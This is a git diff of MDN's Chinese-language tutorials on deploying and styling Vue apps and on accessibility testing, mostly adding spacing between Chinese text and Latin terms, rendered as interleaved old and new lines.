-- 如果你的本地服务仍然正在运行, 在控制台按下Ctrl + C 停止它.
-- 之后,在控制台运行
+npm run build
(或者yarn build
) .- 如果你的本地服务仍然正在运行,在控制台按下Ctrl + C 停止它。
+- 之后,在控制台运行
npm run build
(或者yarn build
) .这将创建一个新的
+dist
文件夹来包含你的准备生产的所有文件内容 .为了发布你的网站到网上 , 复制这个文件夹的所有内容到你的主机环境.这将创建一个新的
dist
文件夹来包含你的准备生产的所有文件内容 .为了发布你的网站到网上 , 复制这个文件夹的所有内容到你的主机环境。-提示: The Vue CLI 文档也包含一个 特别的指导来发布你的app 到许多的公共主机平台 .
+提示: The Vue CLI 文档也包含一个 特别的指导来发布你的 app 到许多的公共主机平台 .
Vue 3
@@ -92,25 +92,25 @@In this module
- Vue
- Svelte
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html index 7161d0753d28ad..1f6247c65972f7 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html @@ -7,7 +7,7 @@-
- 开始使用Svelte
+- 开始使用 Svelte
- Starting our Svelte Todo list app
- Dynamic behavior in Svelte: working with variables and props
- Componentizing our Svelte app
- Advanced Svelte: Reactivity, lifecycle, accessibility
- Working with Svelte stores
-- Svelte中的 TypeScript 支持
+- Svelte 中的 TypeScript 支持
- Deployment and next steps
{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties","Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}-现在终于到了使我们的应用程序看起来更好的时候了。在本文中,我们将探讨使用CSS样式Vue组件的不同方法。
+现在终于到了使我们的应用程序看起来更好的时候了。在本文中,我们将探讨使用 CSS 样式 Vue 组件的不同方法。
@@ -16,33 +16,33 @@
-熟悉核心HTML,CSS和JavaScript语言,了解终端/命令行。
-Vue组件是由管理应用程序数据的JavaScript对象和映射到基础DOM结构的基于HTML的模板语法组成的。为了进行安装并使用Vue的一些更高级的功能(例如“单个文件组件”或渲染功能),您将需要一个装有node + npm的终端。
+Vue 组件是由管理应用程序数据的 JavaScript 对象和映射到基础 DOM 结构的基于 HTML 的模板语法组成的。为了进行安装并使用 Vue 的一些更高级的功能(例如“单个文件组件”或渲染功能),您将需要一个装有 node + npm 的终端。
目的: -了解有关设置Vue组件样式的信息。 +了解有关设置 Vue 组件样式的信息。 使用CSS样式化Vue组件
+使用 CSS 样式化 Vue 组件
-在继续向我们的应用程序添加更多高级功能之前,我们应该添加一些基本的CSS使其看起来更好。Vue具有三种样式化应用程序的方法:
+在继续向我们的应用程序添加更多高级功能之前,我们应该添加一些基本的 CSS 使其看起来更好。Vue 具有三种样式化应用程序的方法:
-
- 外部CSS文件。
+- 外部 CSS 文件。
- 单个文件组件(
.vue
文件)中的全局样式。- 单个文件组件中组件范围的样式。
为帮助您熟悉每个应用程序,我们将所有三个功能结合使用,以使我们的应用程序具有更好的外观。
-外部CSS文件的样式
+外部 CSS 文件的样式
-您可以包括外部CSS文件,并将其全局应用于您的应用程序。让我们看看这是如何完成的。
+您可以包括外部 CSS 文件,并将其全局应用于您的应用程序。让我们看看这是如何完成的。
-首先,
+reset.css
在src/assets
目录中创建一个名为的文件。Webpack将处理此文件夹中的文件。这意味着我们可以使用CSS预处理器(如SCSS)或后处理器(如PostCSS)。首先,
reset.css
在src/assets
目录中创建一个名为的文件。Webpack 将处理此文件夹中的文件。这意味着我们可以使用 CSS 预处理器(如 SCSS)或后处理器(如 PostCSS)。尽管本教程不会使用此类工具,但很高兴知道在资产文件夹中包含此类代码后,它将自动进行处理。
@@ -140,9 +140,9 @@外部CSS文件的样式
向单个文件组件添加全局样式
-现在,我们已将CSS重置为在浏览器之间统一,我们需要对样式进行更多自定义。我们希望将某些样式应用于应用程序中的各个组件。虽然可以直接将这些文件添加到
+reset.css
样式表中,但是我们将它们添加到的<style>
标签中,App.vue
以演示如何使用它们。现在,我们已将 CSS 重置为在浏览器之间统一,我们需要对样式进行更多自定义。我们希望将某些样式应用于应用程序中的各个组件。虽然可以直接将这些文件添加到
-reset.css
样式表中,但是我们将它们添加到的<style>
标签中,App.vue
以演示如何使用它们。文件中已经存在一些样式。让我们删除它们,并用下面的样式替换它们。这些样式可以做一些事情-为按钮和输入添加一些样式,并自定义
+#app
元素及其子元素。文件中已经存在一些样式。让我们删除它们,并用下面的样式替换它们。这些样式可以做一些事情 - 为按钮和输入添加一些样式,并自定义
#app
元素及其子元素。更新
@@ -461,35 +461,35 @@App.vue
文件的<style>
元素,如下所示:In this module
- Ember
- Vue
- 斯维尔特
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html index d317d5f093349b..2826ed4f37cd60 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -26,11 +26,11 @@
- 前提: +前提: 熟悉HTML, CSS,和JavaScript语言; 理解跨浏览器测试原理 - @@ -38,7 +38,7 @@目标: +目标: 能够诊断常见的可访问性问题,并使用适当的工具和技术解决问题。 什么是可访问性?
-当我们在web技术的背景下说可访问性时,大多数人立即想到确保残疾人可以使用网站/应用程序,例如:
+当我们在 web 技术的背景下说可访问性时,大多数人立即想到确保残疾人可以使用网站/应用程序,例如:
- 视障人士使用屏幕阅读器或放大/缩放浏览文本
@@ -57,27 +57,27 @@什么是可访问性?
在某种程度上,本模块都是关于可访问性的 — 跨浏览器测试可确保你的网站可以被尽可能多的人使用。这篇可访问性是什么? 更全面透彻地定义了什么是可访问性。
-也就是说,本文将涵盖跨浏览器和有关残疾人的测试问题以及他们如何使用Web。我们在其他地方已经讨论过其他领域,例如响应式设计问题和性能。
+也就是说,本文将涵盖跨浏览器和有关残疾人的测试问题以及他们如何使用 Web。我们在其他地方已经讨论过其他领域,例如响应式设计问题和性能。
-Note: 就像Web开发中的许多事情一样,可访问性不是100%的成功或失败可以定义的;对于所有内容而言,几乎不可能实现100%的可访问性,尤其是当站点变得越来越复杂时。我们更多的是通过防御性编码并遵循最佳实践,努力使尽可能多的人可以访问尽可能多的内容。
+Note: 就像 Web 开发中的许多事情一样,可访问性不是 100% 的成功或失败可以定义的;对于所有内容而言,几乎不可能实现 100%的可访问性,尤其是当站点变得越来越复杂时。我们更多的是通过防御性编码并遵循最佳实践,努力使尽可能多的人可以访问尽可能多的内容。
常见可访问性问题
-在本节中,我们将围绕Web可访问性,详细介绍与特定技术相关的一些主要问题、要遵循的最佳实践,以及可以进行的一些快速测试,以查看你的网站是否朝着正确的方向发展。
+在本节中,我们将围绕 Web 可访问性,详细介绍与特定技术相关的一些主要问题、要遵循的最佳实践,以及可以进行的一些快速测试,以查看你的网站是否朝着正确的方向发展。
-Note: 可访问性在道德上是正确的事情,对企业也有好处(残疾用户,移动用户等构成了重要的细分市场), 并且在世界许多地方,提供出来的网络媒体资源无法为残疾人服务也是违法的。阅读无障碍指南和法律获取更多相关信息。
+Note: 可访问性在道德上是正确的事情,对企业也有好处 (残疾用户,移动用户等构成了重要的细分市场), 并且在世界许多地方,提供出来的网络媒体资源无法为残疾人服务也是违法的。阅读无障碍指南和法律获取更多相关信息。
HTML
-HTML语义化 (语义化正确地使用HTML标签)对于可访问性来说是开箱即用的 — 这类内容可供无视障人士阅读(前提是你不会做任何愚蠢的事情,例如使文本变小或使用CSS隐藏它),也可被屏幕阅读器(从字面上读出网页的应用)之类的辅助技术使用,并赋予其他优势。
+HTML 语义化 (语义化正确地使用 HTML 标签) 对于可访问性来说是开箱即用的 — 这类内容可供无视障人士阅读(前提是你不会做任何愚蠢的事情,例如使文本变小或使用 CSS 隐藏它),也可被屏幕阅读器(从字面上读出网页的应用)之类的辅助技术使用,并赋予其他优势。
语义化结构
-HTML语义化最重要的捷径是为你的内容使用标题和段落的结构;这是因为屏幕阅读器用户倾向于将文档标题用作导航,以更快地找到他们需要的内容。如果你的内容没有标题,那么他们将获得的是一大坨文字,没有任何可定位的标记。坏的例子和好的例子如下:
+HTML 语义化最重要的捷径是为你的内容使用标题和段落的结构;这是因为屏幕阅读器用户倾向于将文档标题用作导航,以更快地找到他们需要的内容。如果你的内容没有标题,那么他们将获得的是一大坨文字,没有任何可定位的标记。坏的例子和好的例子如下:
<font size="7">My heading</font> <br><br> @@ -107,39 +107,39 @@-语义化结构
<p>This is the second subsection of my content. I think is more interesting than the last one.</p>此外,你的内容应该在逻辑顺序上讲得通的 — 你总能在以后再为它们写CSS,但你应该在一开始就确定内容正确的顺序。
+此外,你的内容应该在逻辑顺序上讲得通的 — 你总能在以后再为它们写 CSS,但你应该在一开始就确定内容正确的顺序。
-作为测试,你可以关闭网站的CSS,然后看看没有了CSS网站是否能被理解。你可以通过从代码中删除CSS来手动完成此操作,但是最简单的方法是使用浏览器功能,例如:
+作为测试,你可以关闭网站的 CSS,然后看看没有了 CSS 网站是否能被理解。你可以通过从代码中删除 CSS 来手动完成此操作,但是最简单的方法是使用浏览器功能,例如:
- Firefox: 选择查看 > 页面样式 > 无样式
-- Safari: 选择开发 > 停用样式 (需要开启“开发”菜单, 点击Safari > 偏好设置 > 高级 > 在菜单栏中显示“开发”菜单)
-- Chrome: 安装Web Developer Toolbar扩展程序, 然后重启浏览器。点击图标,选择CSS > 停用所有样式
+- Safari: 选择开发 > 停用样式 (需要开启“开发”菜单,点击Safari > 偏好设置 > 高级 > 在菜单栏中显示“开发”菜单)
+- Chrome: 安装 Web Developer Toolbar 扩展程序,然后重启浏览器。点击图标,选择CSS > 停用所有样式
- Edge: 选择查看 > 样式 > 无样式
使用键盘
-某些HTML功能可以使用键盘来选择 — 这是默认的,从早期web开始就是这样的。具有此功能的元素是允许用户与网页交互的常见元素,比如links, {{htmlelement("button")}}s, 以及表单元素,比如{{htmlelement("input")}}.
+某些 HTML 功能可以使用键盘来选择 — 这是默认的,从早期 web 开始就是这样的。具有此功能的元素是允许用户与网页交互的常见元素,比如 links, {{htmlelement("button")}}s, 以及表单元素,比如{{htmlelement("input")}}.
-浏览native-keyboard-accessibility.html (查看源码) 尝试一下— 在新标签页中打开它,然后尝试按Tab键;按下几下后,你应该看到标签焦点开始在不同的可聚焦元素之间移动;在每个浏览器中,被聚焦的元素都被赋予突出的默认样式 (不同的浏览器表现略有不同) 以便你能分辨聚焦在哪个元素上。
+浏览native-keyboard-accessibility.html (查看源码) 尝试一下— 在新标签页中打开它,然后尝试按 Tab 键;按下几下后,你应该看到标签焦点开始在不同的可聚焦元素之间移动;在每个浏览器中,被聚焦的元素都被赋予突出的默认样式 (不同的浏览器表现略有不同) 以便你能分辨聚焦在哪个元素上。
-然后,你可以按Enter / Return键来关注焦点链接,或者按一个按钮(我们已经包含一些JavaScript来使按钮提醒消息),或者在输入框开始输入文本,(其他表单元素具有不同的控件,例如{{htmlelement("select")}}元素可以使用向上和向下箭头键显示和循环显示其选项)。
+然后,你可以按 Enter / Return 键来关注焦点链接,或者按一个按钮(我们已经包含一些 JavaScript 来使按钮提醒消息),或者在输入框开始输入文本,(其他表单元素具有不同的控件,例如{{htmlelement("select")}}元素可以使用向上和向下箭头键显示和循环显示其选项)。
-请注意,不同的浏览器可能具有不同的键盘控制选项。大多数现代浏览器都遵循上述的标签模式(你也可以执行Shift + Tab来向后移动可聚焦元素),但是某些浏览器具有自己的特性:
+请注意,不同的浏览器可能具有不同的键盘控制选项。大多数现代浏览器都遵循上述的标签模式(你也可以执行 Shift + Tab 来向后移动可聚焦元素),但是某些浏览器具有自己的特性:
- Firefox for the Mac doesn't do tabbing by default. To turn it on, you have to go to Preferences > Advanced > General, then uncheck "Always use the cursor keys to navigate within pages". Next, you have to open your Mac's System Preferences app, then go to Keyboard > Shortcuts, then select the All Controls radio button.
-- Safari默认情况下不允许你按tab遍历链接;要启用此功能,你需要打开Safari的“偏好设置”,转到“高级”,然后选中“按下Tab键以高亮显示网页上的每一项”。
+- Safari 默认情况下不允许你按 tab 遍历链接;要启用此功能,你需要打开 Safari 的“偏好设置”,转到“高级”,然后选中“按下 Tab 键以高亮显示网页上的每一项”。
-重要: 你应该在所写的任何新页面上执行这种测试 — 确保可以通过键盘使用功能。
这个例子强调了正确使用语义元素的重要性。可以用CSS将任何元素的样式设置为看起来像链接或按钮,并使用JavaScript让其表现为像链接或按钮一样,但实际上它们不是链接或按钮,你将失去很多语义化元素带给你的可访问性。因此,尽量避免这样做。
+这个例子强调了正确使用语义元素的重要性。可以用 CSS 将任何元素的样式设置为看起来像链接或按钮,并使用 JavaScript 让其表现为像链接或按钮一样,但实际上它们不是链接或按钮,你将失去很多语义化元素带给你的可访问性。因此,尽量避免这样做。
另一个技巧 — 如我们的示例所示,你可以使用:focus伪类控制可聚焦元素在聚焦时的外观。最好将焦点和悬停样式加重显示,这样无论是使用鼠标还是键盘的用户,都能直观地察觉控件在被激活时将执行的操作
@@ -149,23 +149,23 @@使用键盘
}-Note: 如果你决定使用CSS删除默认的焦点样式,请确保将其替换为更适合你的设计的其他样式 — 这是一种非常有价值的可访问性工具,不应删除。
+Note: 如果你决定使用 CSS 删除默认的焦点样式,请确保将其替换为更适合你的设计的其他样式 — 这是一种非常有价值的可访问性工具,不应删除。
模拟键盘
-有时可能无法使用键盘完成可访问性。你可能有一个语义不是很好的网站(也许你最终得到了一个糟糕的CMS网页,该CMS生成了由<div> 组成的按钮),或者你正在使用一个没有内置键盘可访问性的复杂控件,例如HTML5 {{htmlelement("video")}} 元素(令人惊奇的是,Opera是唯一允许你在<video>元素的默认浏览器控件之间进行制表的浏览器)。你有几种选择:
+有时可能无法使用键盘完成可访问性。你可能有一个语义不是很好的网站(也许你最终得到了一个糟糕的 CMS 网页,该 CMS 生成了由<div> 组成的按钮),或者你正在使用一个没有内置键盘可访问性的复杂控件,例如 HTML5 {{htmlelement("video")}} 元素(令人惊奇的是,Opera 是唯一允许你在<video>元素的默认浏览器控件之间进行制表的浏览器)。你有几种选择:
-
- 使用<button>元素(默认情况下都是可以在button间使用Tab键)和JavaScript创建自定义控件,以连接其功能。有关此示例,请参见Creating a cross-browser video player。
-- 通过JavaScript创建键盘快捷键,因此当你按键盘上的某些键时,功能被激活。请参阅Desktop mouse and keyboard controls,以获取一些可用于任何目的(比如游戏)的例子。
-- 使用一些有趣的策略来伪造按钮行为。以我们的fake-div-buttons.html示例为例(查看源码)。这里我们通过为每个假按钮赋予属性
tabindex="0"
(请参阅WebAIM的tabindex文章以获取更多详细信息),使假的<div>按钮能够被聚焦(包括通过制表符)。这使我们可以跳到按钮上,但不能通过回车键激活它们。为此,我们必须添加以下JavaScript代码: +- 使用<button>元素(默认情况下都是可以在 button 间使用 Tab 键)和 JavaScript 创建自定义控件,以连接其功能。有关此示例,请参见Creating a cross-browser video player。
+- 通过 JavaScript 创建键盘快捷键,因此当你按键盘上的某些键时,功能被激活。请参阅Desktop mouse and keyboard controls,以获取一些可用于任何目的(比如游戏)的例子。
+- 使用一些有趣的策略来伪造按钮行为。以我们的fake-div-buttons.html示例为例(查看源码)。这里我们通过为每个假按钮赋予属性
+ 在这里,我们向tabindex="0"
(请参阅WebAIM 的tabindex 文章以获取更多详细信息),使假的<div>按钮能够被聚焦(包括通过制表符)。这使我们可以跳到按钮上,但不能通过回车键激活它们。为此,我们必须添加以下 JavaScript 代码:document.onkeydown = function(e) { if(e.keyCode === 13) { // The Enter/Return key document.activeElement.onclick(e); } };- 在这里,我们向document
对象添加了一个监听器,以检测何时按下了键盘上的按钮。我们通过事件对象的keyCode属性检查按下了什么按钮;如果它是与回车键匹配的键码,则使用document.activeElement.onclick()
运行存储在按钮的onclick处理程序中的函数。document.activeElement
为我们提供了当前页面上被聚焦的元素。document
对象添加了一个监听器,以检测何时按下了键盘上的按钮。我们通过事件对象的 keyCode 属性检查按下了什么按钮;如果它是与回车键匹配的键码,则使用document.activeElement.onclick()
运行存储在按钮的 onclick 处理程序中的函数。document.activeElement
为我们提供了当前页面上被聚焦的元素。@@ -182,11 +182,11 @@替代文本
可以通过多种方法来测试缺少的替代文本,例如,使用可访问性审计工具。
-对于视频和音频内容,Alt文本稍微复杂一些。有一种方法可以定义文本轨道(例如,字幕)并在播放视频时以{{htmlelement("track")}}元素和WebVTT格式的形式显示它们(请参见Adding captions and subtitles to HTML5 video以获取详细信息)。这些功能的浏览器兼容性相当好,但是如果你想提供音频的替代文本或支持较旧的浏览器,则在页面某处或单独页面上显示一个简单的文本记录可能是个好主意。
+对于视频和音频内容,Alt 文本稍微复杂一些。有一种方法可以定义文本轨道(例如,字幕)并在播放视频时以{{htmlelement("track")}}元素和WebVTT格式的形式显示它们(请参见Adding captions and subtitles to HTML5 video以获取详细信息)。这些功能的浏览器兼容性相当好,但是如果你想提供音频的替代文本或支持较旧的浏览器,则在页面某处或单独页面上显示一个简单的文本记录可能是个好主意。
元素关系和上下文
-HTML中有某些功能和最佳实践,旨在提供元素之间的上下文和关系。三个最常见的示例是链接,表单标签和数据表。
+HTML 中有某些功能和最佳实践,旨在提供元素之间的上下文和关系。三个最常见的示例是链接,表单标签和数据表。
使用屏幕阅读器的人们通常会使用一项共同的功能,即他们会拉出页面上所有链接的列表。在这种情况下,链接文本需要脱离上下文。例如,标记为“单击此处”,“单击此处”等的链接列表确实对可访问性不利。链接文本最好在上下文和上下文之外都有意义。
@@ -206,11 +206,11 @@元素关系和上下文
CSS
-CSS往往提供的基本可访问性功能要比HTML少得多,但是如果使用不当,它仍然会对可访问性造成同样的损害。下面是一些涉及CSS的可访问性的点:
+CSS 往往提供的基本可访问性功能要比 HTML 少得多,但是如果使用不当,它仍然会对可访问性造成同样的损害。下面是一些涉及 CSS 的可访问性的点:
-
@@ -218,7 +218,7 @@- 使用正确的语义元素修饰HTML中的不同内容;如果要创建不同的视觉效果,请使用CSS-不要滥用HTML元素来获得所需的外观。例如,如果你想要更大的文本,请使用{{cssxref("font-size")}},而不是{{htmlelement("h1")}}标签。
-- 确保内容顺序在没有CSS的情况下有意义;你可以随时使用CSS设置页面样式。
+- 使用正确的语义元素修饰 HTML 中的不同内容;如果要创建不同的视觉效果,请使用 CSS-不要滥用 HTML 元素来获得所需的外观。例如,如果你想要更大的文本,请使用{{cssxref("font-size")}},而不是{{htmlelement("h1")}}标签。
+- 确保内容顺序在没有 CSS 的情况下有意义;你可以随时使用 CSS 设置页面样式。
- 你应该确保按钮和链接之类的交互元素具有适当的聚焦/悬停/活动状态设置,以便用户能姨一目了然。如果出于风格原因删除默认设置,请确保包括一些替代的样式。
CSS
颜色和颜色对比度
-为你的网站选择配色方案时,应确保文本(前景)颜色与背景颜色形成鲜明对比。你的设计可能看起来很酷,但是如果视力障碍者(例如色盲)无法阅读你的内容,那就不好了。使用WebAIM的Color Contrast Checker之类的工具来检查你的方案是否有足够对比度。
+为你的网站选择配色方案时,应确保文本(前景)颜色与背景颜色形成鲜明对比。你的设计可能看起来很酷,但是如果视力障碍者(例如色盲)无法阅读你的内容,那就不好了。使用 WebAIM 的Color Contrast Checker之类的工具来检查你的方案是否有足够对比度。
另一个提示是不要仅依靠颜色来表示界标/信息,因为这对于看不见颜色的人来说是不好的。例如,不要将所需的表单字段标记为红色,而应使用星号和红色标记它们。
@@ -228,7 +228,7 @@颜色和颜色对比度
隐藏的内容
-在许多情况下,视觉设计要求并非一次显示所有内容。例如,在我们的Tabbed info box example“示例(查看源码)中,我们有三个信息面板,但是我们将它们放在彼此的顶部,用户可以通过单击以显示每个选项卡(也可以通过键盘访问 — 可以使用Tab键和回车键选择它们)。
+在许多情况下,视觉设计要求并非一次显示所有内容。例如,在我们的Tabbed info box example“示例(查看源码)中,我们有三个信息面板,但是我们将它们放在彼此的顶部,用户可以通过单击以显示每个选项卡(也可以通过键盘访问 — 可以使用 Tab 键和回车键选择它们)。
@@ -242,36 +242,36 @@隐藏的内容
JavaScript
-就可访问性而言,JavaScript具有与CSS相同的问题 — 如果使用不当或使用过度,可访问性可能会很糟糕。我们已经提到了与JavaScript相关的一些可访问性问题,主要是在HTML语义化那块 — 你应该始终使用适当的语义化HTML来在合适的地方实现功能,例如,适当地使用链接和按钮。尽量不要使用JavaScript代码中结合
+<div>
元素来伪造功能 — 容易出错,并且比直接使用HTML标签还要做更多的工作。就可访问性而言,JavaScript 具有与 CSS 相同的问题 — 如果使用不当或使用过度,可访问性可能会很糟糕。我们已经提到了与 JavaScript 相关的一些可访问性问题,主要是在 HTML 语义化那块 — 你应该始终使用适当的语义化 HTML 来在合适的地方实现功能,例如,适当地使用链接和按钮。尽量不要使用 JavaScript 代码中结合
<div>
元素来伪造功能 — 容易出错,并且比直接使用 HTML 标签还要做更多的工作。简单的功能
-通常,简单的功能只应使用HTML标签完成 — JavaScript仅用于增强功能,而不能用于实现简单功能。好的JavaScript用法包括:
+通常,简单的功能只应使用 HTML 标签完成 — JavaScript 仅用于增强功能,而不能用于实现简单功能。好的 JavaScript 用法包括:
- 提供客户端表单验证,可在不等待服务器检查数据的情况下,迅速向用户发出有关表单条目问题的警报。如果不能在客户端验证,则该表格仍然可以使用,但验证速度可能会较慢。
-- 提供全键盘用户可访问的HTML5
+<video>
的自定义控件(如我们之前所述,默认浏览器视频控件在大多数浏览器中均无法通过键盘访问)。- 提供全键盘用户可访问的 HTML5
<video>
的自定义控件(如我们之前所述,默认浏览器视频控件在大多数浏览器中均无法通过键盘访问)。--Note: WebAIM的Accessible JavaScript提供了一些关于JavaScript可访问性注意事项的信息。
+Note: WebAIM 的Accessible JavaScript提供了一些关于 JavaScript 可访问性注意事项的信息。
更复杂的JavaScript实现可能会带来可访问性问题 — 你需要尽力而为。例如,期望让使用WebGL编写的复杂3D游戏对盲人来说100%可访问性是不合理的,但是你可以实现键盘控件,以便非鼠标用户可以使用它,并使配色方案具有足够的对比度供有颜色分辨障碍的人使用。
+更复杂的 JavaScript 实现可能会带来可访问性问题 — 你需要尽力而为。例如,期望让使用 WebGL 编写的复杂 3D 游戏对盲人来说 100%可访问性是不合理的,但是你可以实现键盘控件,以便非鼠标用户可以使用它,并使配色方案具有足够的对比度供有颜色分辨障碍的人使用。
复杂的功能
可访问性存在问题的主要领域之一是复杂的应用程序,其中涉及复杂的表单控件(例如日期选择器)和动态内容,内容会经常增量更新。
-非自带的复杂的表单控件可能会存在问题,因为它们往往涉及大量嵌套的
+<div>
,浏览器默认情况下不知道如何处理它们。如果你自己开发控件,则需要确保它们可以通过键盘访问。如果你使用的是某种第三方框架,请在开始使用之前仔细检查可用的选项以了解它们是否具有完备的可访问性。例如,Bootstrap就对可访问性有相当好的支持(尽管Rhiana Heath的Making Bootstrap a Little More Accessible探讨了它的一些问题(主要与色彩对比度有关),并着眼于一些解决方案)。非自带的复杂的表单控件可能会存在问题,因为它们往往涉及大量嵌套的
<div>
,浏览器默认情况下不知道如何处理它们。如果你自己开发控件,则需要确保它们可以通过键盘访问。如果你使用的是某种第三方框架,请在开始使用之前仔细检查可用的选项以了解它们是否具有完备的可访问性。例如,Bootstrap 就对可访问性有相当好的支持(尽管 Rhiana Heath 的Making Bootstrap a Little More Accessible探讨了它的一些问题(主要与色彩对比度有关),并着眼于一些解决方案)。定期更新的动态内容可能会成为问题,因为屏幕阅读器用户可能会错过这些内容,尤其是在意外更新的情况下。如果你有一个包含主要内容面板的单页应用程序,该应用程序使用XMLHttpRequest或Fetch定期更新,那么屏幕阅读器用户可能会错过这些更新。
WAI-ARIA
-你是否需要使用这种复杂的功能,或者使用普通的旧语义化HTML代替?如果确实需要复杂性,则应考虑使用WAI-ARIA(Accessible Rich Internet Applications - 可访问的互联网应用),该规范为诸如复杂的表单控件和更新面板之类的项目提供了语义(以新的HTML属性形式),这样大部分浏览器和屏幕阅读器就能理解内容。
+你是否需要使用这种复杂的功能,或者使用普通的旧语义化 HTML 代替?如果确实需要复杂性,则应考虑使用WAI-ARIA(Accessible Rich Internet Applications - 可访问的互联网应用),该规范为诸如复杂的表单控件和更新面板之类的项目提供了语义(以新的 HTML 属性形式),这样大部分浏览器和屏幕阅读器就能理解内容。
-要处理复杂的表单窗口小部件,你需要使用ARIA属性(例如
+roles
)来声明窗口小部件中不同元素的角色(例如,它们是选项卡还是选项卡面板?),用aria-disabled
来表示控件是否禁用等。要处理复杂的表单窗口小部件,你需要使用 ARIA 属性(例如
roles
)来声明窗口小部件中不同元素的角色(例如,它们是选项卡还是选项卡面板?),用aria-disabled
来表示控件是否禁用等。要处理内容定期更新的区域,可以使用
@@ -286,35 +286,35 @@aria-live
属性,该属性标识更新区域。它的值指示屏幕阅读器如何处理更新内容:WAI-ARIA
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>-浏览Freedom Scientific的ARIA (Accessible Rich Internet Applications)动态更新区域示例 — 高亮显示的段落每10秒更新一次内容,屏幕阅读器应将此内容读出给用户。ARIA Live Regions - Atomic是另一个很有用的例子。
+浏览 Freedom Scientific 的ARIA (Accessible Rich Internet Applications) 动态更新区域示例 — 高亮显示的段落每 10 秒更新一次内容,屏幕阅读器应将此内容读出给用户。ARIA Live Regions - Atomic是另一个很有用的例子。
-我们这里没有足够的空间来详细介绍WAI-ARIA,你可以在WAI-ARIA basics了解更多。
+我们这里没有足够的空间来详细介绍 WAI-ARIA,你可以在WAI-ARIA basics了解更多。
可访问性测试工具
-现在,我们已经介绍了不同Web技术的可访问性注意事项,包括一些测试方法(例如键盘导航和颜色对比度检查器),让我们看一下在进行可访问性测试时可以使用的其他工具。
+现在,我们已经介绍了不同 Web 技术的可访问性注意事项,包括一些测试方法(例如键盘导航和颜色对比度检查器),让我们看一下在进行可访问性测试时可以使用的其他工具。
审计工具
你可以使用许多审计工具检查你的网页,这些审计工具将检查它们并返回页面上存在的可访问性问题列表。一些审计工具:
-
-- Tenon: 一个相当不错的在线应用程序,它通过提供的URL遍历代码,并返回有关可访问性错误的结果,包括度量标准,特定错误以及它们影响的WCAG标准以及建议的修复方式。
-- tota11y: Khan Academy的可访问性工具,采用JavaScript库的形式,你可以将其附加到页面上,以提供许多可访问性工具。
+- Tenon: 一个相当不错的在线应用程序,它通过提供的 URL 遍历代码,并返回有关可访问性错误的结果,包括度量标准,特定错误以及它们影响的 WCAG 标准以及建议的修复方式。
+- tota11y: Khan Academy 的可访问性工具,采用 JavaScript 库的形式,你可以将其附加到页面上,以提供许多可访问性工具。
- Wave: 另一个在线可访问性测试工具,它接受网址并返回该页面带注释的视图,其中高亮显示了可访问性问题。
看下面的例子,我们用的是Tenon。
+看下面的例子,我们用的是 Tenon。
-
-- 访问Tenon主页。
+- 访问Tenon 主页。
- 使用bad-semantics.html示例测试,输入链接地址并按下Analyse Your Webpage(译者注:开始分析你的网页)。
- 下滑,直到你看到错误/描述部分,如下图。
你还可以探索一些选项(请参阅页面顶部附近的Show Options(译者注:显示选项)链接),或者使用Tenon的API。
+你还可以探索一些选项(请参阅页面顶部附近的Show Options(译者注:显示选项)链接),或者使用 Tenon 的 API。
Note: 这些工具不足以单独解决你的所有可访问性问题。你需要将这些,知识和经验,用户测试等结合起来才能获得完整的解决方案。
@@ -329,11 +329,11 @@自动化工具
- aXe for Firefox
-扩展程序将可访问性选项卡添加到浏览器开发人员工具。例如,我们安装了Firefox版本,然后使用它来审核bad-table.html示例。我们得到以下结果:
+扩展程序将可访问性选项卡添加到浏览器开发人员工具。例如,我们安装了 Firefox 版本,然后使用它来审核bad-table.html示例。我们得到以下结果:
-aXe也可以使用
+npm
安装,并且可以与任务运行器(如Grunt 和Gulp),自动化框架(如Selenium和Cucumber),单元测试框架(如Jasmin)集成,以及更多其他功能(详见main aXe page )。aXe 也可以使用
npm
安装,并且可以与任务运行器(如Grunt 和Gulp),自动化框架(如Selenium和Cucumber),单元测试框架(如Jasmin)集成,以及更多其他功能(详见main aXe page )。屏幕阅读器
@@ -345,34 +345,34 @@屏幕阅读器
- 有些内置在操作系统中,比如VoiceOver (Mac OS X and iOS), ChromeVox (on Chromebooks), 和TalkBack (Android).
-通常,屏幕阅读器是独立运行的应用程序,并且不仅仅支持阅读网页,也支持阅读其他应用程序。也有例外(比如ChromeVox是一个浏览器扩展程序)。不同的屏幕阅读器可能在控制键和表现上稍有不同,所以你必须查阅你选择的屏幕阅读器的文档来获取相关细节。总体来说他们是大同小异的。
+通常,屏幕阅读器是独立运行的应用程序,并且不仅仅支持阅读网页,也支持阅读其他应用程序。也有例外(比如 ChromeVox 是一个浏览器扩展程序)。不同的屏幕阅读器可能在控制键和表现上稍有不同,所以你必须查阅你选择的屏幕阅读器的文档来获取相关细节。总体来说他们是大同小异的。
一起看一下我们对几款不同的屏幕阅读器的测试。这将帮助你大致了解它们如何工作以及如何测试它们。
-Note: WebAIM的 Designing for Screen Reader Compatibility提供了一些关于屏幕阅读器的使用和如何开发应用以最好的适用屏幕阅读器的信息。你也可以看下Screen Reader User Survey #6 Results这篇有关屏幕阅读器一些有趣的统计信息的文章。
+Note: WebAIM 的 Designing for Screen Reader Compatibility提供了一些关于屏幕阅读器的使用和如何开发应用以最好的适用屏幕阅读器的信息。你也可以看下Screen Reader User Survey #6 Results这篇有关屏幕阅读器一些有趣的统计信息的文章。
VoiceOver
-VoiceOver (VO)是Mac/iPhone/iPad上的免费应用,所以如果你使用苹果公司的产品,可以用VO来进行测试。 我们在Mac OS X 系统上测试了它。
